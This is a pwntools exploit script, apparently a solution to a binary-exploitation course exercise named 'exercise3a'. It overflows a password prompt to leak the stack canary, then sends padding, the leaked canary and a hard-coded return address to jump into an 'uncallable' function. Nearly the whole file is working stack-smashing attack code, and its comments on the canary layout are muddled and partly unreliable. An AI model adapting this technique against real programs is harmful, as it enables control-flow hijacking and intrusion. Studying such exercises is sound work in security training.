#!/usr/bin/env python
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template
from pwn import *

# Set up pwntools for the correct architecture
context.update(arch='amd64')
exe = './exercise3a'

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR


def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
c
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

r = start()
if args.PAUSE:
    pause()

#0x401256
e = ELF("exercise3a")
ret = hex(e.symbols['uncallable'])	
log.info(f"uncallable address {ret}")
ret = b'\x56\x12\x40\x00\x00\x00\x00\x00'



i = r.recvuntil("password:\n")
log.info(f" first trial prompt {i}")
exploit = 171 * 'A' + '\n'		#stack cannary is non 0 value followed by 4 0s so printf will stop printing right after cannary
r.sendline(exploit) 

i = r.recvuntil('of course ')
log.info(f"intro: {i}")
padded_cannary = r.recv(numb=176)		#recieve our exploit and the cannary value				
log.info(f"exploit and cannary concatinated: {padded_cannary}")		

#take the last 4 bytes out of cannary byte sequence
cannary = padded_cannary[-4:]
exploit =  172 * b'A' + cannary + 24*b'A' + ret + b'\n'
#append the As BUT WITHOUT /n this time in front of cannary, padding and ret addr post cannary

#process the fail and retrial
i = r.recvuntil("password\n")
log.info(f"first data {i}")
i = r.recvuntil("password:\n")
log.info(f"first data {i}")

r.sendline(exploit) 
j = r.recvall()
log.info(f"final data {j}")